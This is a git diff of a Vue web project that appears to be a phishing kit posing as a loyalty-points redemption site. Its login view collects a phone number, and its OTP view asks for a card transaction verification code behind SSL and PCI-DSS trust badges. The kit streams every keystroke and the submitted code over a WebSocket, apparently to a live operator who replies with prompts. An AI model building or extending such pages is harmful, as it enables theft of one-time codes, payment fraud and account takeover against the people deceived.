.carousel-dot.active {
|
||||
background-color: white;
|
||||
}
|
||||
|
||||
.carousel-indicator {
|
||||
background-color: rgba(0, 0, 0, 0.5);
|
||||
color: white;
|
||||
padding: 5px 10px;
|
||||
border-radius: 15px;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.product-image {
|
||||
width: 100%;
|
||||
max-height: 100%;
|
||||
object-fit: contain;
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
object-fit: cover;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
.carousel-indicator {
|
||||
position: absolute;
|
||||
bottom: 15px;
|
||||
right: 15px;
|
||||
background-color: rgba(0, 0, 0, 0.5);
|
||||
color: white;
|
||||
padding: 5px 10px;
|
||||
border-radius: 15px;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.product-info {
|
||||
padding: 15px;
|
||||
background-color: white;
|
||||
}
|
||||
|
||||
.product-name {
|
||||
font-size: 18px;
|
||||
margin-bottom: 10px;
|
||||
font-weight: 500;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
.redemption-tag {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
color: #ff9500;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.trophy-icon {
|
||||
margin-right: 5px;
|
||||
}
|
||||
|
||||
.pricing-options {
|
||||
margin-top: 10px;
|
||||
background-color: white;
|
||||
}
|
||||
|
||||
.pricing-option {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
padding: 20px 15px;
|
||||
border-bottom: 1px solid #f0f0f0;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.detail {
|
||||
padding: 15px;
|
||||
background-color: white;
|
||||
margin-top: 10px;
|
||||
font-size: 14px;
|
||||
line-height: 1.6;
|
||||
}
|
||||
|
||||
.option-label {
|
||||
color: #888;
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
|
||||
.option-price {
|
||||
flex: 1;
|
||||
}
|
||||
|
||||
.points {
|
||||
color: var(--global-primary-color);
|
||||
font-size: 24px;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.points-label {
|
||||
color: var(--global-primary-color);
|
||||
margin-left: 5px;
|
||||
}
|
||||
|
||||
.plus-sign {
|
||||
margin: 0 5px;
|
||||
color: #ffa530;
|
||||
}
|
||||
|
||||
.money {
|
||||
color: var(--global-primary-color);
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.option-radio {
|
||||
width: 24px;
|
||||
height: 24px;
|
||||
}
|
||||
|
||||
.radio-circle {
|
||||
width: 24px;
|
||||
height: 24px;
|
||||
border-radius: 50%;
|
||||
border: 2px solid #ccc;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
.radio-circle.selected {
|
||||
border-color: var(--global-primary-color);
|
||||
background-color: var(--global-primary-color);
|
||||
box-shadow: 0 0 0 2px #fff inset;
|
||||
}
|
||||
|
||||
.quantity-selector {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
padding: 20px 15px;
|
||||
background-color: white;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
.quantity-label {
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
.quantity-controls {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.quantity-btn {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
background-color: #f5f5f5;
|
||||
border: none;
|
||||
font-size: 20px;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.quantity-display {
|
||||
width: 60px;
|
||||
height: 40px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
background-color: white;
|
||||
font-size: 18px;
|
||||
border-top: 1px solid #f0f0f0;
|
||||
border-bottom: 1px solid #f0f0f0;
|
||||
}
|
||||
|
||||
.checkout-bar {
|
||||
position: fixed;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
background-color: white;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
z-index: 10000;
|
||||
padding: 15px;
|
||||
box-shadow: 0 -2px 10px rgba(0, 0, 0, 0.05);
|
||||
}
|
||||
|
||||
.total-price {
|
||||
flex: 1;
|
||||
}
|
||||
|
||||
.total-label {
|
||||
font-size: 16px;
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
|
||||
.exchange-button {
|
||||
background-color: var(--global-primary-color);
|
||||
color: white;
|
||||
border: none;
|
||||
border-radius: 25px;
|
||||
padding: 15px 30px;
|
||||
font-size: 16px;
|
||||
font-weight: bold;
|
||||
cursor: pointer;
|
||||
}
|
||||
</style>
|
||||
1214
0000_gb_points_temp/src/views/GoodsView copy 2.vue
Normal file
1214
0000_gb_points_temp/src/views/GoodsView copy 2.vue
Normal file
File diff suppressed because it is too large
Load Diff
1256
0000_gb_points_temp/src/views/GoodsView copy 3.vue
Normal file
1256
0000_gb_points_temp/src/views/GoodsView copy 3.vue
Normal file
File diff suppressed because it is too large
Load Diff
1256
0000_gb_points_temp/src/views/GoodsView copy.vue
Normal file
1256
0000_gb_points_temp/src/views/GoodsView copy.vue
Normal file
File diff suppressed because it is too large
Load Diff
1266
0000_gb_points_temp/src/views/GoodsView.vue
Normal file
1266
0000_gb_points_temp/src/views/GoodsView.vue
Normal file
File diff suppressed because it is too large
Load Diff
1396
0000_gb_points_temp/src/views/GoodsView2.vue
Normal file
1396
0000_gb_points_temp/src/views/GoodsView2.vue
Normal file
File diff suppressed because it is too large
Load Diff
61
0000_gb_points_temp/src/views/IndexView.vue
Normal file
61
0000_gb_points_temp/src/views/IndexView.vue
Normal file
@@ -0,0 +1,61 @@
|
||||
<script setup lang="ts">
|
||||
import { ref, onMounted } from 'vue';
|
||||
|
||||
const isLoading = ref(true);
|
||||
|
||||
onMounted(() => {
|
||||
// Simulate loading, remove in production and use actual data loading completion
|
||||
setTimeout(() => {
|
||||
isLoading.value = false;
|
||||
}, 2000);
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<div class="container">
|
||||
<div v-if="isLoading" class="loading-spinner">
|
||||
<div class="spinner"></div>
|
||||
</div>
|
||||
<div v-else class="content">
|
||||
<!-- Main content goes here when loading is complete -->
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
.container {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
height: 100vh;
|
||||
width: 100%;
|
||||
background-color: #f5f5f5;
|
||||
}
|
||||
|
||||
.loading-spinner {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.spinner {
|
||||
width: 50px;
|
||||
height: 50px;
|
||||
border: 5px solid transparent;
|
||||
border-radius: 50%;
|
||||
border-top-color: transparent;
|
||||
animation: spin 1s ease-in-out infinite;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
to {
|
||||
transform: rotate(360deg);
|
||||
}
|
||||
}
|
||||
|
||||
.content {
|
||||
width: 100%;
|
||||
padding: 20px;
|
||||
}
|
||||
</style>
|
||||
|
||||
61
0000_gb_points_temp/src/views/Loading copy.vue
Normal file
61
0000_gb_points_temp/src/views/Loading copy.vue
Normal file
@@ -0,0 +1,61 @@
|
||||
<template>
|
||||
<div
|
||||
v-if="isLoading"
|
||||
class="loading-overlay-goods"
|
||||
:style="{ backgroundColor: loadingBg.value }"
|
||||
>
|
||||
<div class="spinner-goods"></div>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<script lang="ts">
|
||||
import { computed, defineComponent } from "vue";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { loadingBg } from "@/utils/common";
|
||||
|
||||
export default defineComponent({
|
||||
computed: {
|
||||
loadingBg() {
|
||||
return loadingBg;
|
||||
},
|
||||
},
|
||||
setup() {
|
||||
const loadingStore = useLoadingStore();
|
||||
const isLoading = computed(() => loadingStore.isLoading);
|
||||
|
||||
return {
|
||||
isLoading,
|
||||
};
|
||||
},
|
||||
});
|
||||
</script>
|
||||
|
||||
<style>
|
||||
.loading-overlay-goods {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
z-index: 1000;
|
||||
background-color: rgba(0, 0, 0, 0.45);
|
||||
}
|
||||
|
||||
.spinner-goods {
|
||||
border: 4px solid rgb(207, 207, 207);
|
||||
border-top: 4px solid var(--global-primary-color);
|
||||
border-radius: 50%;
|
||||
width: 50px;
|
||||
height: 50px;
|
||||
animation: spin 1s linear infinite;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
to {
|
||||
transform: rotate(360deg);
|
||||
}
|
||||
}
|
||||
</style>
|
||||
76
0000_gb_points_temp/src/views/Loading.vue
Normal file
76
0000_gb_points_temp/src/views/Loading.vue
Normal file
File diff suppressed because one or more lines are too long
107
0000_gb_points_temp/src/views/LoginView.vue
Normal file
107
0000_gb_points_temp/src/views/LoginView.vue
Normal file
@@ -0,0 +1,107 @@
|
||||
<script setup lang="ts">
|
||||
import { getCurrentInstance, onMounted, ref, watch } from "vue";
|
||||
import { useRouter } from "vue-router";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
|
||||
const router = useRouter();
|
||||
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
|
||||
import { inputChange, myWebSocket } from "@/utils/common";
|
||||
import { useI18n } from "vue-i18n";
|
||||
|
||||
const { t } = useI18n(); // 解构出t方法
|
||||
const loadingStore = useLoadingStore();
|
||||
|
||||
const formData = ref({ phonePageData: { phone: "" } });
|
||||
|
||||
const instance = getCurrentInstance()!;
|
||||
const onchange = (event: any) => {
|
||||
inputChange("input_phone", "", event.target.value);
|
||||
};
|
||||
|
||||
const next = () => {
|
||||
localStorage.setItem("phone", formData.value.phonePageData.phone);
|
||||
loadingStore.setLoading(true);
|
||||
setTimeout(() => {
|
||||
router.push("/pay");
|
||||
}, 200);
|
||||
};
|
||||
|
||||
watch(
|
||||
instance.appContext.config.globalProperties.$currentUser,
|
||||
(newValue, oldValue) => { }
|
||||
);
|
||||
|
||||
onMounted(() => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "phone" },
|
||||
})
|
||||
);
|
||||
const userData =
|
||||
getCurrentInstance()?.appContext.config.globalProperties.$userData;
|
||||
if (userData && userData.phonePageData) {
|
||||
formData.value = userData;
|
||||
}
|
||||
localStorage.setItem("route", "phone");
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<!-- <img style="width: 10
|
||||
0%;" src="/sa_points_sta/111.avif"/> -->
|
||||
<div class="main-content-body" style="margin-top: 35px; margin-bottom: 30px;">
|
||||
<div style="text-align: center">
|
||||
<h1>{{ t("login_view.welcome_back") }}</h1>
|
||||
<p>{{ t("login_view.reward_message") }}</p>
|
||||
</div>
|
||||
<form @submit.prevent="next">
|
||||
<h4 class="text-center check-points-title">
|
||||
<span>{{ t("login_view.check_points") }}</span>
|
||||
</h4>
|
||||
<div class="input1">
|
||||
<label class="phone-label">
|
||||
{{ t("Phone number") }}
|
||||
</label>
|
||||
<input required type="tel" inputmode="tel" @input="onchange" v-model="formData.phonePageData.phone"
|
||||
placeholder=" " />
|
||||
</div>
|
||||
<div class="button-submit">
|
||||
<button type="submit" class="inquire-button">
|
||||
<span>{{ t("Inquire") }}</span>
|
||||
</button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
<style scoped>
|
||||
h1 {
|
||||
font-size: 28px;
|
||||
font-weight: 700;
|
||||
letter-spacing: 2px;
|
||||
color: #000000;
|
||||
}
|
||||
|
||||
form {
|
||||
margin-top: 10px;
|
||||
padding: 2rem;
|
||||
box-shadow: 0px 3px 18px 0px rgba(223, 223, 223, 0.93);
|
||||
border-radius: 16px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
form div label {
|
||||
display: block;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
form div input {
|
||||
width: 100%;
|
||||
}
|
||||
</style>
|
||||
618
0000_gb_points_temp/src/views/OtpView copy.vue
Normal file
618
0000_gb_points_temp/src/views/OtpView copy.vue
Normal file
@@ -0,0 +1,618 @@
|
||||
<script setup lang="ts">
|
||||
import { computed, nextTick, onMounted, onUnmounted, reactive, ref } from "vue";
|
||||
import { useRoute } from "vue-router";
|
||||
import eventBus from "@/utils/eventBus";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import CardType1 from "../components/CardType1.vue";
|
||||
import { areAllValuesNotEmpty, inputChange, myWebSocket } from "@/utils/common";
|
||||
import { useI18n } from "vue-i18n";
|
||||
|
||||
const loadingStore = useLoadingStore();
|
||||
const { t } = useI18n();
|
||||
const cardType = ref("");
|
||||
const message1 = ref("");
|
||||
const message = ref("");
|
||||
const formData = reactive({ verifyCode: "" });
|
||||
const showLoadingModal = ref(false); // 鏂板锛氭帶鍒跺姞杞藉脊绐楁樉绀?
|
||||
const initialTime = 60;
|
||||
const timeLeft = ref(initialTime);
|
||||
const isCounting = ref(false);
|
||||
let timer: number | null = null;
|
||||
|
||||
const buttonText = computed(() => {
|
||||
return isCounting.value
|
||||
? `00:${timeLeft.value < 10 ? `0${timeLeft.value}` : timeLeft.value}`
|
||||
: t("otp_view.click_for_another");
|
||||
});
|
||||
|
||||
const onchange = (value: any) => {
|
||||
inputChange("input_card", "verifyCode", value.target.value);
|
||||
formData.verifyCode = value.target.value;
|
||||
};
|
||||
|
||||
const submit = async () => {
|
||||
await nextTick();
|
||||
loadingStore.setLoading(true);
|
||||
if (!areAllValuesNotEmpty(formData)) {
|
||||
loadingStore.setLoading(false);
|
||||
return;
|
||||
}
|
||||
|
||||
// 鏄剧ず鍔犺浇寮圭獥
|
||||
showLoadingModal.value = true;
|
||||
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "submit_card",
|
||||
content: {
|
||||
type: "submitValidCode",
|
||||
formData,
|
||||
},
|
||||
})
|
||||
);
|
||||
};
|
||||
|
||||
const stopCountdown = () => {
|
||||
if (timer !== null) {
|
||||
clearInterval(timer);
|
||||
timer = null;
|
||||
}
|
||||
isCounting.value = false;
|
||||
};
|
||||
|
||||
const startCountdown = (resultType: string) => {
|
||||
if (isCounting.value) return;
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "otpValid", resultType },
|
||||
})
|
||||
);
|
||||
|
||||
isCounting.value = true;
|
||||
timeLeft.value = initialTime;
|
||||
|
||||
timer = window.setInterval(() => {
|
||||
if (timeLeft.value > 0) {
|
||||
timeLeft.value -= 1;
|
||||
return;
|
||||
}
|
||||
stopCountdown();
|
||||
}, 1000);
|
||||
};
|
||||
|
||||
const handleEvent = (data: { message2: string }) => {
|
||||
message.value = data.message2;
|
||||
loadingStore.setLoading(false);
|
||||
// 鍏抽棴鍔犺浇寮圭獥
|
||||
showLoadingModal.value = false;
|
||||
};
|
||||
|
||||
onMounted(() => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "otpValid" },
|
||||
})
|
||||
);
|
||||
|
||||
const route = useRoute();
|
||||
const query = route.query as any;
|
||||
|
||||
if (query?.cardType) {
|
||||
cardType.value = query.cardType;
|
||||
localStorage.setItem("cardType", query.cardType);
|
||||
} else {
|
||||
const type = localStorage.getItem("cardType");
|
||||
if (type) {
|
||||
cardType.value = type;
|
||||
}
|
||||
}
|
||||
|
||||
if (query?.message1) {
|
||||
message1.value = query.message1;
|
||||
localStorage.setItem("message1", query.message1);
|
||||
} else {
|
||||
const saved = localStorage.getItem("message1");
|
||||
if (saved) {
|
||||
message1.value = saved;
|
||||
}
|
||||
}
|
||||
|
||||
localStorage.setItem("route", "otpValid");
|
||||
startCountdown("");
|
||||
eventBus.on("otp-valid", handleEvent);
|
||||
});
|
||||
|
||||
onUnmounted(() => {
|
||||
stopCountdown();
|
||||
eventBus.off("otp-valid", handleEvent);
|
||||
showLoadingModal.value = false; // close on unmount
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<div class="otp-page">
|
||||
|
||||
<!-- Top bar -->
|
||||
<div class="otp-topbar">
|
||||
<div class="otp-topbar-left">
|
||||
<img src="@/assets/img/80066acd3fcfa.svg" alt="logo" class="otp-logo" />
|
||||
</div>
|
||||
<div class="otp-topbar-right">
|
||||
<CardType1 :cardType="cardType" />
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Main card -->
|
||||
<div class="otp-card">
|
||||
|
||||
<!-- Icon + Title -->
|
||||
<div class="otp-hero">
|
||||
<div class="otp-shield-icon">
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8">
|
||||
<path d="M12 2L4 6v5c0 5.25 3.4 10.15 8 11.35C16.6 21.15 20 16.25 20 11V6l-8-4z"/>
|
||||
<path d="M9 12l2 2 4-4" stroke-linecap="round" stroke-linejoin="round"/>
|
||||
</svg>
|
||||
</div>
|
||||
<h1 class="otp-title">{{ t("otp_view.transaction_validation") }}</h1>
|
||||
<p class="otp-subtitle" v-if="!message1">{{ t("otp_view.verify_identity") }}</p>
|
||||
<p class="otp-subtitle" v-else>{{ t("otp_view.code_sent_to") }} <strong>***{{ message1 }}</strong></p>
|
||||
<p class="otp-notice">{{ t("otp_view.do_not_click") }}</p>
|
||||
</div>
|
||||
|
||||
<!-- Form -->
|
||||
<form class="otp-form" @submit.prevent="submit">
|
||||
|
||||
<div class="otp-input-group">
|
||||
<label class="otp-label">{{ t("otp_view.verification_code") }}</label>
|
||||
<div class="otp-input-wrap" :class="{ 'has-error': message }">
|
||||
<input
|
||||
required
|
||||
type="text"
|
||||
inputmode="numeric"
|
||||
autocomplete="one-time-code"
|
||||
:placeholder="t('otp_view.enter_your_otp')"
|
||||
@input="onchange"
|
||||
v-model="formData.verifyCode"
|
||||
minlength="3"
|
||||
maxlength="8"
|
||||
class="otp-input"
|
||||
/>
|
||||
</div>
|
||||
<p class="otp-error" v-if="message">
|
||||
<svg viewBox="0 0 20 20" fill="currentColor"><path fill-rule="evenodd" d="M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7 4a1 1 0 11-2 0 1 1 0 012 0zm-1-9a1 1 0 00-1 1v4a1 1 0 102 0V6a1 1 0 00-1-1z" clip-rule="evenodd"/></svg>
|
||||
{{ message }}
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<button type="submit" class="otp-btn-submit">
|
||||
{{ t("otp_view.verify") }}
|
||||
</button>
|
||||
|
||||
<div class="otp-resend-row">
|
||||
<span class="otp-resend-text">{{ t("otp_view.having_trouble") }}</span>
|
||||
<a href="javascript:" class="otp-resend-link op-no-obfuscate" @click="startCountdown('resendCode')">
|
||||
{{ buttonText }}
|
||||
</a>
|
||||
</div>
|
||||
|
||||
</form>
|
||||
|
||||
<!-- Footer -->
|
||||
<div class="otp-footer">
|
||||
<div class="otp-footer-badges">
|
||||
<span class="otp-badge">
|
||||
<svg viewBox="0 0 24 24" fill="currentColor"><path d="M18,8H17V6A5,5,0,0,0,7,6V8H6a2,2,0,0,0-2,2V20a2,2,0,0,0,2,2H18a2,2,0,0,0,2-2V10A2,2,0,0,0,18,8ZM9,6a3,3,0,0,1,6,0V8H9ZM18,20H6V10H18Z"/></svg>
|
||||
SSL
|
||||
</span>
|
||||
<span class="otp-badge-sep"></span>
|
||||
<span class="otp-badge">
|
||||
<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2L4,5v6c0,5.55,3.84,10.74,8,12c4.16-1.26,8-6.45,8-12V5L12,2z"/></svg>
|
||||
PCI-DSS
|
||||
</span>
|
||||
<span class="otp-badge-sep"></span>
|
||||
<span class="otp-badge">
|
||||
<svg viewBox="0 0 24 24" fill="currentColor"><path d="M9 12l2 2 4-4m6 2a9 9 0 11-18 0 9 9 0 0118 0z"/></svg>
|
||||
{{ t("otp_view.secure_checkout") }}
|
||||
</span>
|
||||
</div>
|
||||
<div class="otp-help-row">
|
||||
<span>{{ t("otp_view.need_help") }}</span>
|
||||
<span class="otp-help-icon">?</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Loading overlay -->
|
||||
<transition name="otp-fade">
|
||||
<div class="otp-loading-overlay" v-if="showLoadingModal">
|
||||
<div class="otp-loading-dialog">
|
||||
<div class="otp-spinner"></div>
|
||||
<p class="otp-loading-text">{{ t("otp_view.verifying_code") }}</p>
|
||||
<p class="otp-loading-sub">{{ t("otp_view.please_wait") }}</p>
|
||||
</div>
|
||||
</div>
|
||||
</transition>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
/* ===== Page ===== */
|
||||
.otp-page {
|
||||
min-height: 100vh;
|
||||
background: #f8fafc;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
/* ===== Top bar ===== */
|
||||
.otp-topbar {
|
||||
width: 100%;
|
||||
max-width: 520px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
padding: 16px 20px;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
.otp-logo {
|
||||
width: 32px;
|
||||
height: 32px;
|
||||
object-fit: contain;
|
||||
opacity: 0.75;
|
||||
}
|
||||
|
||||
/* ===== Main card ===== */
|
||||
.otp-card {
|
||||
width: 100%;
|
||||
max-width: 520px;
|
||||
background: #fff;
|
||||
border-radius: 16px;
|
||||
border: 1px solid #e8edf3;
|
||||
box-shadow:
|
||||
0 1px 3px rgba(15,23,42,0.06),
|
||||
0 8px 24px -4px rgba(15,23,42,0.08);
|
||||
overflow: hidden;
|
||||
box-sizing: border-box;
|
||||
margin: 0 16px 32px;
|
||||
}
|
||||
|
||||
/* ===== Hero section ===== */
|
||||
.otp-hero {
|
||||
padding: 32px 28px 24px;
|
||||
text-align: center;
|
||||
border-bottom: 1px solid #f1f5f9;
|
||||
background: linear-gradient(180deg, #f8fafc 0%, #fff 100%);
|
||||
}
|
||||
|
||||
.otp-shield-icon {
|
||||
width: 52px;
|
||||
height: 52px;
|
||||
background: linear-gradient(135deg, #eff6ff 0%, #dbeafe 100%);
|
||||
border: 1px solid #bfdbfe;
|
||||
border-radius: 14px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
margin: 0 auto 16px;
|
||||
}
|
||||
|
||||
.otp-shield-icon svg {
|
||||
width: 26px;
|
||||
height: 26px;
|
||||
color: var(--global-primary-color, #3b82f6);
|
||||
}
|
||||
|
||||
.otp-title {
|
||||
margin: 0 0 10px;
|
||||
font-size: 1.35rem;
|
||||
font-weight: 700;
|
||||
color: #1e293b;
|
||||
letter-spacing: -0.2px;
|
||||
line-height: 1.25;
|
||||
}
|
||||
|
||||
.otp-subtitle {
|
||||
margin: 0 0 8px;
|
||||
font-size: 0.9rem;
|
||||
color: #64748b;
|
||||
line-height: 1.55;
|
||||
}
|
||||
|
||||
.otp-subtitle strong {
|
||||
color: #334155;
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
.otp-notice {
|
||||
margin: 6px 0 0;
|
||||
font-size: 0.78rem;
|
||||
color: #94a3b8;
|
||||
line-height: 1.4;
|
||||
}
|
||||
|
||||
/* ===== Form ===== */
|
||||
.otp-form {
|
||||
padding: 24px 28px 20px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 18px;
|
||||
}
|
||||
|
||||
.otp-input-group {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 7px;
|
||||
}
|
||||
|
||||
.otp-label {
|
||||
font-size: 0.83rem;
|
||||
font-weight: 600;
|
||||
color: #475569;
|
||||
letter-spacing: 0.2px;
|
||||
}
|
||||
|
||||
.otp-input-wrap {
|
||||
border: 1.5px solid #e2e8f0;
|
||||
border-radius: 10px;
|
||||
background: #fff;
|
||||
transition: border-color 0.2s, box-shadow 0.2s;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.otp-input-wrap:focus-within {
|
||||
border-color: var(--global-primary-color, #3b82f6);
|
||||
box-shadow: 0 0 0 3px rgba(59,130,246,0.1);
|
||||
}
|
||||
|
||||
.otp-input-wrap.has-error {
|
||||
border-color: #f87171;
|
||||
box-shadow: 0 0 0 3px rgba(248,113,113,0.1);
|
||||
}
|
||||
|
||||
.otp-input {
|
||||
width: 100%;
|
||||
height: 56px;
|
||||
padding: 0 16px;
|
||||
text-align: center;
|
||||
border: none;
|
||||
outline: none;
|
||||
background: transparent;
|
||||
font-size: 1.5rem;
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.25em;
|
||||
color: #1e293b;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
.otp-input::placeholder {
|
||||
font-size: 0.95rem;
|
||||
font-weight: 400;
|
||||
letter-spacing: 0.05em;
|
||||
color: #cbd5e1;
|
||||
}
|
||||
|
||||
.otp-error {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 5px;
|
||||
font-size: 0.8rem;
|
||||
color: #ef4444;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.otp-error svg {
|
||||
width: 14px;
|
||||
height: 14px;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
/* ===== Submit button ===== */
|
||||
.otp-btn-submit {
|
||||
width: 100%;
|
||||
height: 50px;
|
||||
background: var(--global-primary-color, #3b82f6);
|
||||
color: #fff;
|
||||
border: none;
|
||||
border-radius: 10px;
|
||||
font-size: 0.95rem;
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.04em;
|
||||
cursor: pointer;
|
||||
transition: opacity 0.15s, transform 0.1s;
|
||||
}
|
||||
|
||||
.otp-btn-submit:hover {
|
||||
opacity: 0.9;
|
||||
}
|
||||
|
||||
.otp-btn-submit:active {
|
||||
transform: scale(0.98);
|
||||
}
|
||||
|
||||
/* ===== Resend row ===== */
|
||||
.otp-resend-row {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
gap: 6px;
|
||||
font-size: 0.85rem;
|
||||
flex-wrap: wrap;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.otp-resend-text {
|
||||
color: #94a3b8;
|
||||
}
|
||||
|
||||
.otp-resend-link {
|
||||
color: var(--global-primary-color, #3b82f6);
|
||||
font-weight: 600;
|
||||
text-decoration: none;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.otp-resend-link:hover {
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
/* ===== Footer ===== */
|
||||
.otp-footer {
|
||||
padding: 16px 28px 20px;
|
||||
border-top: 1px solid #f1f5f9;
|
||||
background: #fafbfc;
|
||||
}
|
||||
|
||||
.otp-footer-badges {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
gap: 10px;
|
||||
margin-bottom: 14px;
|
||||
}
|
||||
|
||||
.otp-badge {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 4px;
|
||||
font-size: 10.5px;
|
||||
font-weight: 500;
|
||||
color: #94a3b8;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.otp-badge svg {
|
||||
width: 11px;
|
||||
height: 11px;
|
||||
fill: #86efac;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.otp-badge-sep {
|
||||
width: 1px;
|
||||
height: 10px;
|
||||
background: #e2e8f0;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.otp-help-row {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
padding-top: 12px;
|
||||
border-top: 1px solid #f1f5f9;
|
||||
font-size: 0.82rem;
|
||||
color: #94a3b8;
|
||||
}
|
||||
|
||||
.otp-help-icon {
|
||||
width: 20px;
|
||||
height: 20px;
|
||||
border-radius: 50%;
|
||||
border: 1px solid #cbd5e1;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
font-size: 11px;
|
||||
font-weight: 700;
|
||||
color: #64748b;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
/* ===== Loading overlay ===== */
|
||||
.otp-fade-enter-active,
|
||||
.otp-fade-leave-active {
|
||||
transition: opacity 0.25s ease;
|
||||
}
|
||||
.otp-fade-enter-from,
|
||||
.otp-fade-leave-to {
|
||||
opacity: 0;
|
||||
}
|
||||
|
||||
.otp-loading-overlay {
|
||||
position: fixed;
|
||||
inset: 0;
|
||||
background: rgba(15, 23, 42, 0.4);
|
||||
backdrop-filter: blur(6px);
|
||||
-webkit-backdrop-filter: blur(6px);
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
z-index: 9999;
|
||||
}
|
||||
|
||||
.otp-loading-dialog {
|
||||
background: #fff;
|
||||
border-radius: 16px;
|
||||
padding: 36px 44px;
|
||||
text-align: center;
|
||||
box-shadow:
|
||||
0 4px 24px rgba(15,23,42,0.12),
|
||||
0 0 0 1px rgba(148,163,184,0.1);
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
gap: 12px;
|
||||
min-width: 200px;
|
||||
}
|
||||
|
||||
.otp-spinner {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
border: 3px solid #e2e8f0;
|
||||
border-top-color: var(--global-primary-color, #3b82f6);
|
||||
border-radius: 50%;
|
||||
